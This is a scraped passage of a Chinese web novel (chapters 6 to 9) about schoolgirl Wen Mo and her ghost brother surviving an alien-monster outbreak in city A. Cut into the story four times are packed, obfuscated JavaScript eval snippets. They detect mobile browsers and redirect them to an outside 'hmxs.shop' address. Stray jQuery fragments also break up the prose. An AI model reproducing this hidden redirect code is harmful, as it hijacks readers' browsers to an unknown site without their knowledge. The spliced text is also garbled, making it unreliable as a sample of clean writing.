;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026709|194452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音带着恐惧,很快消失殆尽。 撞击停止了好一会,师生们满心紧绷地盯着门,好一会,一个男生才敢从拉开窗帘一角看向外面。 “怪物消失了!” 满头大汗的老师抖着手瘫倒,她大口大口地咽着口水,在全部人的注视下抹了把脸,她下了决定。 “都拿上趁手的武器,我们趁现在逃出去。不能被困死,能逃多远是多远!” “老师,我怕,我怕呜呜呜……”有人哭得上气不接下气,“我妈,我妈出事了……” “外面也乱了!我们活不了!”一个满脸泪水的女孩子挥舞着手机,视频上播放着商场内的惨状。 “草!为什么被我们赶上世界末日了!” 老师站起来,望着一张张稚嫩的脸鼓励道:“相信救援很快会到来!孩子们,你们是未来的希望,国家必定会排除万难,先来解救大家的!” 师生们带着委屈、愤怒、惊恐和强撑的勇气挪开为怪物设置的障碍物,冲出教室。 他们却惊讶地发现,走廊上满是厚厚的灰烬,就好像有一把熊熊烈火烧尽了走廊。 但除了溅上的血水和内脏残肢,墙壁和天花板却还是洁白如新,同学的尸体也还散落着。 只有怪物的一切都消失不见了。 …… 小诡异此时很想求夸奖,它很想快速回到妹妹身边,蹭着她温暖的手心。 妹妹一定会用柔软的嗓音说:“哥哥你真棒!”它的妹妹太好了,从来不吝啬夸赞。 它一个鬼把整栋楼所有的怪物都解决了,虽然自己也受了重伤,但它没有痛感,把散架的身体拼好又能用了。 只是看起来有些奇怪,跟被暴力撕扯过的芭比娃娃一样手脚歪七扭八。 小诡异怕吓到妹妹,不想看到她担忧的目光,算了,还是先去把地面上的怪物也解决掉好了。 走之前,它看到了好多新生的鬼魂,它们直愣愣地站着,小诡异喊:“跟着我,去把那些东西都解决吧!” 鬼魂们就跟在它身后,浩浩荡荡地飘去了操场。 操场犹如地狱一般,所有生还者想要逃出去就经过,但他们太弱了,尽管抱团也还是被像猎物般狩猎虐杀。 可是突然,狼狈的师生们发现,那些怪物好像凭空受到了什么阻挡,停止了动作,甚至凭空自燃了起来。 他们看不见的鬼魂们用脆弱的身体抱住怪物,大叫着:“快跑啊!逃命去吧!” “傻逼龟儿子,替我们活下去啊!” 幸存者们听不到,但求生欲促使着身体竭力运转,他们来不及感激,朝大门狂奔,即使伤了腿也蹦蹦跳跳、连滚带爬地逃命。 鬼魂们拼尽了全力,但它们太弱了,力量也小,被怪物狠狠甩开,有一两个鬼魂甚至直接被打散了。 温布惊只有一个,满校园的怪物最少有几百只,它的鬼火也不是取之不竭的,很快就感到了虚弱和力竭。 温茉经过高一楼的时候,正好撞上了一大群从中涌出的幸存者,于是加入了他们之中。 她抱着奄奄一息的伤员,被师生们安排到了最中间,一个老师担忧地探了探伤员的鼻息,染血的眉头皱的死死的。 “坚持住小同学!我们就要逃出去了,看到了吗?” 温茉:“老师,军队很快会到的,我们要快点赶去大门口!” 刚才羊雅芝用她的私人电话打来,说装甲车和军卡快到了,让她一定要坚持。 老师热泪盈眶,她抽了抽鼻子,几乎是哭丧着应道:“好!” 温茉用眼神安抚了她,然后众人继续逃命,有落单的怪物扑来,外围的同学就用武器去胡乱厮打。 他们跌跌撞撞逃命到广场,又遇到了更多的幸存者。 温茉被挤在人群中,摇晃踉跄着,她焦急地寻找着温布惊,但没看到它在哪里。 往日一眼望尽的广场今天格外难走,几百米的路程又少了很多生命,温茉红着眼眶抬头,终于听到了轰隆隆的枪响。 军队终于来了,惶恐的幸存者、坚毅的军人围在坦克装甲周围,羊雅芝上衣破烂,一身血痕,她冲在最前,两条有力健硕的手臂端着重枪。 温茉哭了,她听不清耳边轰隆隆的炮火,大喊:“妈!” 2100年,21世纪的最后一年秋,人类遭遇了有史以来最毁灭的打击。 这次外星袭击事件主要最先发生在东方大陆,随后西方地区也出现了怪物袭击,尽管有所提防,损失仍然惨重。 全球范围内青壮年死亡惨重,老弱妇幼残存比例较大,人类武装力量上被迫绝对削弱,一度进入断代时期。 尽管很多年以后,在踏上飞船前去歼灭敌军的那一刻,温茉回想起那天,仍然会不寒而栗。 7. 第 7 章 母亲总会第一眼看到自己的孩子,羊雅芝张望着,看到了温茉泪眼汪汪的眸子。 她挤开人群迎上去,伸手拍了拍温茉的肩膀安抚:“好女儿,接下来交给妈妈吧。” 羊雅芝身边的警员接过了温茉怀里的女生,头也不回地奔向医疗组,温茉扑进羊雅芝怀抱里,短暂地拥抱她一秒就分开。 温茉被人拉着进去军卡,一直回头依依不舍嘱咐道:“妈,你小心点!年纪大了!不是小姑娘别冲那么猛!” 羊雅芝周围响起一阵哄笑声,她气笑了:“你是妈还是我是妈!行了,有空联系下你爸爸!” 卡车上挤满了惊慌的同学们,温茉挑了个末尾的位置坐好,然后随着一声痛苦吸气声,赵雷被担架送了进来。 他的右腿被木棍简单固定,头上贴了块纱布,捧着伤口夸张地抽气,“有没有止痛药啊!医生?医生!” “死不了,忍着!”送他来的医疗人员转头就走。 赵雷哭得很大声:“他妈的这都是他妈的什么事!草!真他妈倒霉!” 车里的人看着往日的校霸哭得像个孩子一样,却都没心情笑,所有人如同行尸走肉般,没有一点精神气地瘫坐着。 高高低低的抽泣声在这群少年中响起,一个文弱的男生大吼:“赵大少爷!你能不能别嚎了!” “我就叫!”赵雷挽起衣袖擦擦脸上的泪水:“我他妈死里逃生庆祝一下不行吗!” 温茉拍了拍他的肩膀:“大家心情都很差,赵雷,控制下情绪,你的腿现如今来看甚至只是轻伤了。” 赵雷脸色一僵,靠着车厢低头不再开口了。 “对不起。”他扔下一句,刚吵架的男生脸埋在□□,肩膀一颤一颤的,没有搭理他。 气氛冷了下来,过了一小会,一个浑身药味、瓜子脸上满是雀斑的高马尾女生从口袋里掏出一版胶囊塞到赵雷怀里,带着浓重的鼻音道: “给你。” 赵雷看着手里的止痛药,抠出几粒塞进嘴里咽了下去,他双眼红肿不复往日的威风。 “谢了,常小莲。” 常小莲低低地嗯了一声,闭眼握紧了朋友的手。 温茉一直没来得及看消息,她打开手机,看到桑蓝和钱弓发来了无数消息轰炸,段双双那头却没有任何动静。 车厢突然变得很阴冷,温茉抬头,看到了几只鬼飘了进来,它们站在中间,满脸悲痛地看着认识的人。 温茉低头,继续看着手机,所有的社交平台上,都疯狂地转发更新着怪物袭击的视频,网络差点瘫痪,官方审核根本来不及处理。 “为什么国外没有怪物?”一个男生崩溃地抓着头发,神情歇斯底里:“只有我国有!?” 讨论声躁动起来。 “会不会是国外搞的鬼,他们不是没有干过这种事。” “我们国家没有这么废物,一定是天灾。” “那可不一定,那些怪物是自然界能长成的吗?肯定是实验室产出的!” “可是。”常小莲一脸苍白:“我亲眼看到孙玉满变成了怪物,我们从小一起长大……” 所有人沉默下来。 是啊,他们都亲眼看到了同学是怎么变成怪物的,甚至就连虐杀时,它们都穿着校服。 “温茉。”刚才跟赵雷吵架的男生抬头:“你妈妈是警察局局长,你肯定知道些什么对不对!” 望着所有人的目光,温茉摇了摇头:“很抱歉,我什么都不知道。我敢肯定,我妈妈也不了解什么,因为她今天早上还嘱咐我课间把落下的课程自学补上。” “呵呵。”常小莲冷笑两声:“我们国家就那么废物吗?这可是A城啊!大名鼎鼎的首都!A城警局就是废物吗?” 她神情激动起来:“我们的血汗钱就养着这群废物吗!?” 常小莲是个非常勇敢的姑娘,她无疑是道出了在场所有人的心声。 温茉静静地看着她:“请你道歉,你凭什么认为警察就一定能预知未来?警局里同样出现了怪物。” “我妈妈他们拼命厮杀,第一时间赶来救我们!他们没有对不起任何人。” “谁知道你们是不是在装。”常小莲刚才苍白的脸变得通红,也许是气的,她恨恨地看着温茉,冷哼了一声。 赵雷说:“常小莲!别拱火了,高层真的不知道!我爸可是市长!你再看看我现在的处境!” “我知道你们私下里老说我们是天龙人!是,有危险我肯定第一时间跑掉!但我在这里就是最好的证明!” 常小莲颤抖着嘴定定地看着赵雷,泪花在眼眶里打转,胸膛急促起伏,一气之下要往车外跳。 温茉伸手拦住了她,“我知道你心里生气,你不知道气什么,于是理所当然地把矛头指向政府。” “你可以骂他们,我们不会再抨击你了,嘴长在你身上,你想怎么骂怎么骂,不要随便乱跑了,你现在的命很珍贵。” 有同学附和道:“感觉真的像是天灾,完全没办法预料到啊。” “也不能怪政府,这几十年里全世界的科技都没什么进步,我看网上外网也很震惊,他们也没预测到。” “我的姑奶奶。”坐在地上的赵雷抱住了常小莲的腿,“平时在班里屁都不敢放一个,现在敢玩跳车,气性怎么那么大!” 常小莲:“别管我!” “我管你!回去坐着,敢不听校霸的话了是不是!” 常小莲又掩面细细弱弱地呜咽着。 随着又上了几个学生,军卡被关上,接着车子启动,朝着未知的方向前进。 温茉闭眼,调整呼吸来平息烦躁的情绪,那几个鬼魂消失了,她无暇顾及它们去了哪里,心里只牵挂着温布惊。 为什么救援都到了,它还不回来,难道是…… 过了会儿,温茉心烦意乱,直接说道:“赵雷,能不能别戳我腿。” “靠,关我什么事。”赵雷说:“我在看手机好不好。” “嘻嘻。”一道脆脆的童音在耳边响起。 温茉猛然睁眼,看见失而复得的温布惊盘腿坐在她脚边,心里落石般的不安紧张终于消散。 兄妹俩对视,温茉欢快地眨了眨眼,温布惊面无表情地朝她做了个鬼脸。 温茉手放下去,紧紧握住了它冰凉的小手。 不知道过了多久,卡车停了下来,一名警员打开车门,招呼着幸存者下车。 温茉第一个跳下去,转身搀扶行动艰难的赵雷,其余人随后而出。 这是一座封闭式体育场,A城人都知道,这里曾经举办过很多大型的体育赛事。 门口围着一排的坦克和装备精良的特种兵,车辆一车一车地将幸存者拉来再开走,门口熙熙攘攘,人们争先恐后往里面挤,简直像菜市场一般。 一群穿着校服的高中生非常引人瞩目,很快就有两名特种兵来带他们登记信息。 所有人都要进行抽血,测谎等体检,然后上报自己的身份证号和具体信息,一切无误后才能进入体育场。 登记到温茉和赵雷的时候,信息员看了眼屏幕,喊了一声“彭队。” 一个高大的,身材健硕极其具有压迫感的特种兵应声而来,他戴着头盔和面罩,只露出一双凶悍带着凛凛杀气的丹凤眼。 “他们是上面重点标记的。” 彭周:“知道了。” 他的声音很哑,透露着些许疲惫,“他们合格吗?” 信息员比了ok的手势,“一切正常,是人类。” “你们两个,跟我走。” 彭周说完,便自顾自地持枪带路,温茉搀扶着赵雷努力地跟着,赵雷单腿跳,脸憋得通红。 彭周把两人带进了体育场的看台下休息室里,指着角落一张沙发说:“你们接下来在这休息,里面带有卫生间,饭菜吃饭的时候会有人送来。” 他压低声音警告:“最好乖乖待着,不要出去乱跑惹事。不然你们老子再厉害我都不管了。” 温茉和赵雷互相对视一眼,齐齐点头:“知道了。” 留下警告的一眼后,彭周走了,一并带走了呛鼻的硝烟味,他们坐下沙发,赵雷舒舒服服地抱着柔软的抱枕,感慨道: “我理解有些人为什么会骂我们天龙人了,看看我们现在多舒服,普通人还要挤在草坪上,哎。” 温茉:“我感觉刚那个彭队想捶死咱俩。” 赵雷撇了撇嘴,“谁让我会投胎。哎,姓彭,我好像知道他是谁了。” 温茉好奇:“谁。” “一个很厉害的特种兵,叫彭周,身体强悍到离谱,曾经徒手打死一头成年黑熊,听我爸说好像在一个秘密作战小队里。” “连他都出现了,看来情况真的很严重。” 两人开始闲聊,温茉说:“你爸连这些都给你说。” “我可是独生子。”赵雷抬了抬尖尖的下巴,眼神带着倨傲:“据说他曾经有机会当选总理保镖,但是不想抛头露面就拒绝了,他性格正直,很鄙视特权。” “啊。”温茉恍然大悟:“原来他刚才握紧拳头是真想囊死我们啊。” “管他呢。”赵雷躺下,嘟囔着:“不行,你去帮我找个医生看看腿吧,就这么干夹着吗?” 温茉刚好想出去,就没有推辞,她关上门,嘈杂的吵闹和混沌的气息一同袭来,操场上挤满了人,或躺或走或坐,有人激烈地吵架,有人面如死灰的缩着,一些白大褂游走在人群中简单医治伤员。 在温茉的视角下,广场上还游荡着许多的鬼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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旁边支过来个头,队里的天才黑客祝修燃说:“聊什么呢?” “羊将军和赵市长那俩独生子。” “嗯?”祝修燃反驳:“羊局长家两个孩子吧,老大是男孩,老二才是女孩。” “没听说过,局长家庭信息保护得还好的。” “不过你说得也对。”祝修燃转头继续敲电脑,说:“儿子很早就死了。” 罗木:“太可惜了吧,为啥死啊?” 祝修燃:“死于X416事件。” “啊,那个死了很多特警的416!?” “对。” 他们沉默了下来,谁都没有再开口,仿佛X416是个不敢提起的禁忌一般。 三人只觉得突然间有点冷,却不知道,刚才他们讨论的主角,正站在面前,用阴冷的眼神直勾勾盯着他们。 从医生手里领完东西,温茉有点渴,厚着脸皮又要了一瓶水,拧开盖子咕咚咕咚喝完。 她擦了擦嘴,绕着操场晃了一圈,刚看见学校的老师,就被对方拉了过去 “一转眼你就不见了。” 常小莲看着地面说:“人家俩跟咱们不是一个世界的,单独被保护起来了。” 既得利益者温茉没反驳,只叹了口气,说:“这里安全,应该几天后咱们就能出去了,放心吧老师。” 她刚出来的时候,短暂地爬上台阶,用鬼眼自上往下巡视了一遍,还真没发现怪物的踪迹。 听到这话,惴惴不安的师生们这才安心不少。 寒暄一会,温茉回去了,走到休息室门口,温布惊抱住了她的腿,虽然面无表情,但温茉敏锐地察觉到了它心情不好。 “怎么了?” 温布惊摇摇头,看看她什么也不说,温茉不是好奇心很重的人,没再继续追问。 就算是变成鬼了也要给它该有的小世界,问东问西不是温茉的风格。 兄妹俩进去,惊醒了赵雷,他迷迷糊糊地睁开眼:“吃饭了吗?” ”没有医生有空。”温茉将胶囊和水扔给他,“我刚问了,下午两点才会发饭,还有一个小时。” “饿死我了,我太倒霉了,早饭跑太剧烈全吐了。” 赵雷眼巴巴望向门口:“好想喊他们给我加个餐,又怕被打死。” 温茉问他:“你爸那边有什么消息吗?” 出了这么大的事,市长估计是最焦头烂额的人了,也不知道他现在是死是活,赵雷现在还这么吊儿郎当,要是市长没了,他估计下一秒就会被别人拖出去打一顿。 最重要的是,温茉很想知道政府接下来的举措,羊雅芝总是什么都不说,什么都自己扛,温茉隐隐约约意识到,自己要承担些什么。 赵雷双手拄着下巴,一脸严肃:“开会呢吧,刚跟我妈打完电话,出事没多久,我爸就把自己关进书房,我妈贴门上听了几耳朵,里头吵吵闹闹的。” “全国都出这样的事了,他们应该会调兵吧?可是……好像军队里面也有怪物,这我就不太确定了,反正我妈说,家里的一个守卫也变成怪物了,已经被击毙了。” 8. 第 8 章 怪物无声无息地取代了人们熟悉的亲人朋友,政府必然会动乱,像彭周这种级别的兵都出现,可见局面的紧张。 温茉看着吊儿郎当的赵雷,心里泛起淡淡的无力感。 “没网了!”赵雷捧着手机惊呼。 温茉看着手机上段双双最后发来的消息,思索两秒后,做出决定:“我要回家。” 赵雷不可置信道:“你疯了!” 温茉一脸平静:“我没疯。”既然约定好在家集合,她怎么都要去的。 她懒得费口舌解释些什么,靠坐在沙发上闭目养神。 下午两点,彭周准时带来了午饭,每人的标准是一瓶水加一个面包一根火腿肠,看着手里的东西,赵雷脸绿了,“就这些?” 他本就是还在长身体的年纪,代谢快,早就饿得不行,此时此刻,肚子响的跟雷鸣一样。 赵雷居高临下抱着双臂,眼神不屑地看着他,好像在说,不吃滚蛋。 赵雷:…… 他窝窝囊囊地撕开包装恶狠狠咬着。 温茉安静地吃完面包,随后站起身:“彭队长,我需要回家一趟,让门口的守卫放我出去吧。” 彭周皱眉,放下手臂将她摁回去,一口拒绝:“现在不是闹大小姐脾气的时候,外面可不是在演过家家。” “我们才认识,怎么在彭队长心里我的形象就是无理取闹的大小姐?”温茉直视着他,眉眼冷静:“我是真的需要回去,我跟我爸约定好了在家集合。” 如果段双双和温玉成成功回家了,联系不上她肯定会着急的。 而且温茉有温布惊在身边,加上自己行动也算灵敏,安全性不算低。 可彭周不知道她的本事,温茉身份贵重,她要是出事了,绝对会给他带来不小的麻烦。 两人一番拉扯下,彭周妥协:“这样好了,你说地址,我派人,把你爸一块救过来,让你们父女俩和和美美的团聚,这样行了吗?” 温茉想了想,也行,但她腿边的小诡异有意见了,它童音坚定:“妹妹,我们必须回去!出现了这么多新鬼,小区里那只诡异绝对不会放过吞噬它们的机会,等它实力强大了,必定会伤人的!” 在今天之前,两只诡异还能打个平手,但如若放任那只诡异发展,不用想,日后必定十分棘手。 温茉没想到温布惊一个鬼,居然操心着那么多事。 要不是没有条件,真想给它颁发个鬼界警察的锦旗了。 基因果然是很神奇的东西,温布惊骨子的善良在死后也没有消失殆尽。 人手实在太紧张了,保护民众都不够更别说去找一个关系户,彭周自认为作出了很大的让步,有些不耐烦地等着眼前漂亮的女孩回复。 他会唇语,眼睁睁看着温茉把即将脱口而出的“好”收回,小嘴一张又提出了要求。 “带上我去救我爸爸。” “很遗憾,谈判失败。”彭周扭头就走,欲推门而出,温茉立刻拉住他的衣角。 “彭队长,我们移步说话?我会让你心甘情愿派我出去的!” 她看了眼房中的第三个人类,示意接下来的话不宜为外人所知。 一直看好戏的赵雷不满道:“有什么需要背着我说的?” 彭周挑了挑眉,抖掉了温茉的手,他说:“很自信啊?我的态度很坚定了,老老实实被保护着不好吗。” “那你绝对会改变心意。”温茉勾勾手手,对他眨了眨眼,她先是将赵雷赶出去,接着锁上门。 孤男寡女共处一室,彭周表情非常不自然,更别提赵雷骂骂咧咧地在窗口探头看,所以当温茉拉着他往卫生间钻的时候,他甩开了。 “就在这说。”他强硬道。 “好吧。”温茉压低声音道:“彭队,你相信有鬼吗?要是我说我能驾驭鬼杀那些怪物,你相信吗?” 面对那灼灼目光,彭周沉默了两秒:“你是不是被打到脑子了。” 温茉就知道他不信,她把窗户关好,然后从口袋里抓出一把黏糊糊的东西展示给他看。 “这是怪物的卵。” 温布惊轻轻吹出一团鬼火,在彭周的视角里,温茉手心的卵瞬间燃起幽幽的蓝火,几乎眨眼间就变成了一滩灰烬! 彭周一把抓住温茉的手,捻起点点灰白研磨,又放在鼻下细嗅。 他眼中罕见地写满震惊:“你是怎么做到的?” 温布惊:“不要暴露我的身份,妹妹。” 温茉:“不是我,是我养的小鬼做的。” 彭周垂眸,睫毛挡住了眼底的沉思,温茉逼近一步:“需要我再证明一遍吗?我有保护自己的能力。” “不。”彭周摇摇头:“我相信你了,因为我认可鬼的存在。” 这下轮到温茉惊讶了。 彭周第一次正视她:“你很有本事,我答应你的要求。” 他又问:“那些卵还有吗?都给我吧。” “彭队长,这件事暂时请对外保密,我想之后亲口告诉妈妈。” “……可以。” 温茉不会用枪,彭周就给了她一把防身的匕首,温茉穿好黑色的防弹背心,将头发扎成马尾,跟随罗木走出了体育场。 艳阳高照,他们走出安防区,直面血迹斑斑的街道。 风很大,温茉眯起眼睛,罗木走在前面,他叮嘱:“温茉,一定跟好我。” “知道了。” 两人走了一段路,离开了体育场的范围,他们到达了商业区,安全地从一家户外越野店里骑走了一辆摩托车。 商业区人流密集,发生灾难后,商超和街道不可避免地躺着不少尸体,路上到处是车的碎片、人的碎片和火力压制后掉落的弹壳。 也许已经有一批清扫队伍经过这里,带走了所有的幸存者。 摩托车灵活飞驰在马路上。 温茉戴着头盔坐在后面,眼中掠过沿途满目疮痍的灾后惨状,罗木提议道:“把眼睛闭上吧,一时间看见大量尸体会影响精神。” 他是个碎嘴子,根本闲不住:“我第一次看见尸体是碎尸案中,现场还是化粪池,我们那一批的,当场吓尿了好几个,人家法医还笑话我们,说特种兵还这么怂。” “我说特种兵也是人,那不是怂,是被恶心的,我单挑一百个恶徒都没问题,但别让我们徒手捡碎尸。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026711|194452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温茉来了点兴趣:“你们平时都干什么呀?居然还捡尸。” “秘密。”罗木嘟囔着:“平时不捡尸,我还是个新兵蛋子的时候,彭周蔫坏,说锻炼我们胆量,集训完直接一车拉去在臭气熏天的垃圾中掏骨头架子,这谁受得了。” 温茉:“你们这行真不容易。” “为祖国干事不谈容易不容易。”罗木自豪地说,随后有些悲哀:“我现在宁愿去掏化粪池我都不愿意跟这些怪物火拼。” “这些怪物出现得太突兀了。”温茉说:“全世界都没有察觉。” “外星人谁防得住。”罗木:“我们活抓了几只怪物,生物研究所的人说,这些生物身上有地球没有的元素。” 温茉还在消化这些信息,他又突然扬高调子朗声道:“温茉,你快告诉我,你养的小鬼长什么样子,我太好奇了!” “你放心,队长就只告诉我了!毕竟我现在是你队友嘿嘿。” 小鬼的模样啊,温茉低头看了看怀中。 温布惊生前是个非常有活力的漂亮孩子,他的杏眼圆嘟嘟的,睫毛很长,死时还处于男性特征不突出的年纪,像画上的福娃娃。 以前温茉特别喜欢让他穿自己的小裙子,头上扎着小啾啾,站一起不知道的还以为是两姐妹。 温布惊一直默默听着,闻言,它抬起青白、长满尸斑的冰凉小脸,冲她甜甜笑了一下。 它小手拉过温茉的发尾摸着,耳朵却竖得高高。 温茉很认真地说:“它是一个很可爱的男孩,小时候像女孩子,长大了是个眉眼深邃的俊美少年,因为不喜欢太多肌肉,不会锻炼得太过,它长得很高,身材挺拔舒展,脾气很好,酒窝很甜,喜欢蜂蜜和插花,如果还活着,一定受许多女孩子的喜欢。” 这些都是温茉的心里话——她无数次设想过温布惊长大的样子,想来想去想到小时候温布惊画的未来的一家人,形象就这么固定下来了。 这么大一番夸奖,让小诡异低下头,羞羞答答地扣着背带裤的扣子。 “还是个高质量鬼。”罗木啧啧称奇,随口问:“它现在在哪呢?今天这么大太阳,能出屋子吗?” 温茉幽幽道:“就在你背后。” “吱——” 摩托车在马路上左摇右摆,罗木一哆嗦,差点连人带车撞上绿化带。 “姐妹,青天白日的,你别吓死我。” 罗木脸有点白,紧张到屏住了呼吸:“一想到有个鬼抱着我就心惊肉跳!” “别惊别跳了。”温茉说:“第一,它没抱你,第二,它碰不到你!” 罗木哭笑不得,哆哆嗦嗦地继续骑。 过了三分钟,他们转弯,看到了一栋燃着熊熊大火的办公楼,几辆装甲车停在门前,士兵们躲在掩体后,枪口直指门口。 双方都注意到了对方,但都无暇顾及。 短暂交错时,温布惊速度很快地飞进大楼里转了一圈,过了会儿,又被手镯强硬拉回。 它说:“普通人都死了,楼里只有三只重伤的怪物,我看他们是想活捉。” 温茉心想,但愿政府能快点研究出些什么。 9. 第 9 章 摩托很快驶出了军队清扫区,接下来的路没办法骑行了,两人找了个地方放好车,然后徒步前行。 罗木低头看了眼表盘,“按照我们的速度到你家需要半小时。”这还是在没有遇到怪物的情况下。 其实他们离小区已经不远了,大概两三公里的距离,但这边的路修得窄,发生灾难时许多人都乱开或者弃车而逃了,放眼望去,路上皆是密密麻麻望不到头的车辆,有的自燃着,发出噼里啪啦的声响。 这段路还能通到高速路口,所以大型货车不少,这些货车车厢都有不同程度的凹痕,黏着透明的黏液,像是有怪物曾经攀爬过。 这片儿居民楼多,间或夹杂着几栋办公楼或者仓库,街道两旁的建筑不稀不密,往日的人流不少,但此刻没有一个活人的身影。 街上的红绿灯,商铺的广告牌还在亮着,零食、美妆、奶茶、服装等店的喇叭仍旧欢快地响彻,活力四射的男女声兴奋地念着广告词揽客…… 但满地的残尸无法回应,只有鸟儿立在枝头和绿化带叽喳,转眼一看,街头转角不时流窜过一两只应激的还拴着牵引绳的猫狗。 “嘎——嘎——” 乌鸦成群结伙地来了,黑压压乌云般盘旋在空中,温茉往常几乎从没见过乌鸦,今天却…… 温茉看着满街的鬼魂,心里闷闷的。 罗木一个一米八七的大汉子,看见这场面难受得要死,他紧抿着嘴,眼里藏着愤怒和悲哀,手紧紧扣着扳机,恨不得立刻跟怪物们决一死战。 罗木下巴绷得紧紧的,见温茉站着不动推了她一把,“走吧。” 温茉:“等等。” 她走到两三只哭嚎鬼魂的位置,从那辆家庭suv旁的几具尸体下,找到了他们生前护着的一个婴儿。 “救救我女儿!” “求求你们救救我孙女,她才出生啊……” 死状凄惨的鬼魂齐齐跪了下去。 婴儿吐了满脸的奶,双眼紧紧闭着,可能因为被压到了又也许是哭得缺氧,她口吐白沫,嘴唇都是黑紫的,已经陷入了昏迷。 她脖子和手脚上戴着金饰,金锁上刻着一个名字——赵永欣。 “让我来!”罗木立刻脱下手套,小心翼翼地抠掉婴儿口鼻中的呕吐物,紧接着将她放在手臂上面朝下拍背。 两人蹲在地上急救,温茉抽了车里的湿巾纸,小心翼翼擦拭着婴儿的脸。 皇天不负有心人,婴儿恢复了正常呼吸,脸色逐渐转回血色,罗木飙出了眼泪,爱怜地摸着她的额头,“谢天谢地!” 三只鬼魂紧紧守在旁边,看到孩子得救,尽管知道生人听不到,也激动地感谢着。 罗木搜刮出车里的母婴用品,用被子将婴儿包好绑在身前,做完这一切,听着她弱弱的哭声,他压在心底的大石头才仿佛轻了一些。 温茉听着耳边满街群鬼的哀嚎,心里很不是滋味,温布惊抱着她的双腿盯着擦眼泪的罗木,突然道: “楼里和车里都还有好多活人,他岂不是救一个哭一次。” “罗木是个好人。”温茉说:“这里还有很多活人,赶快呼叫救援吧。” 罗木吸吸鼻子:“我给队长发卫星信息了。” 温茉:“罗木,这里暂时安全,你带着孩子,只要不往楼里跑就不会遇到怪物。我就自己回去吧。” 罗木很犹豫,低头看了看,还未睁眼的婴儿哭得小脸都是泪,脑袋乱动,偏偏这是个手无缚鸡之力的小生命!他确实不敢冒险。 罗木第一次决定把任务抛之脑后。两人在车里找到一袋奶粉和奶瓶,他们跑到奶茶店后厨,手忙脚乱地泡了一瓶奶。 小婴儿刚开始还不肯喝,罗木心酸道:“喝吧,赵永欣,没有母乳给你了。” 僵持好一会后,婴儿终于一口叼住了奶嘴,她大口大口地喝着,喉咙里发出小奶狗般的哼唧,用力到鼻子都皱起来。 温茉抬头,刚好看见三只鬼消散的瞬间。 她低头看着温布惊圆圆的脑袋,看着他额头上翘着的一簇头发,看着他长长的睫毛,她在想,到底有什么遗憾,才会让温布惊始终不愿投入轮回。 温布惊早就看惯了鬼魂消失的场面,它察觉到注视,仰着脑袋望向温茉,用眼神询问:怎么了。 温布惊死的时候,头是被砍断的,所以现在稍微动作大点,它的脑袋就总是掉。现如今温茉看多了就不害怕了,她帮它扶正了头,还顺手拍了拍。 “没事。” 温布惊催促道:“我们快走吧。”它始终心系着那只女诡异。 温茉嘱咐:“罗木,你可藏好了,等我们或者彭周来找你。” 罗木:“放心吧!哥战斗力还是挺强的!倒是你,自己要注意。” 手机依旧还是没有信号,温茉看了眼时间,还有几分钟就到三点。 温茉没准备傻傻地回家,等到了合适的距离后,就让温布惊回家看看温玉成有没有在。 如果有最好了,直接把人带走,如果没有,他们也只能先打道回府。 温茉从街边店里拿了把锋利的菜刀紧紧拎在手里,她沿着人行道走,没走几百米,路边一辆车的窗子被敲响。 一个女人降下车窗,露出惨白的、溅上点点血迹的脸,她眼里盛满痛苦、崩溃和惊恐,疑神疑鬼地观察着四周,接着虚弱道:“快躲起来,怪物、怪物很快会回来的……” 她打扮得很干练,脸上画着锋利的眼线和大红唇,一副精英女强人的模样,温茉看到她胸口扎着一块玻璃,血迹染红了白色西装。 车前窗碎了一片,雨刮器晃动着,摩擦着玻璃碎片发出刺耳的咯吱响。 尖锐的摩擦声每响彻一次,女人的精神就更紧绷一分。 温茉:“你的伤严重吗,救援很快就来了。” “我的腿被卡住了。”女人泪流满面,连哭都不敢出声,她抽噎、无助地求助:“我很快要死了,这个声音肯定会把怪物引来的,但是我动不了。” 撞车时她下意识护住了脑袋,现在只有一只手还能动了,更糟糕的是,前车门扭曲变形,她连爬出去都不能。 “别哭了,我救你。” 温茉从碎掉的后车窗爬了进去,先把后门打开,给自己腾出空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026712|194452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间,然后把主驾位的座位往后拉,放倒,女人咬紧牙关五官扭曲地忍着痛,豆大的冷汗从额头冒出,发丝糊了一脸。 温茉从狭窄的空间里开始挪动她,把她拖到后排,女人拿起一沓纸巾咬住,脖子上青筋暴起,身体控制不住地颤抖。 温茉有些担心,女人气喘吁吁从牙缝里说:“用力拉,我不想死在这里……” “好。”温茉一狠心,抱着她的腰往外拔。 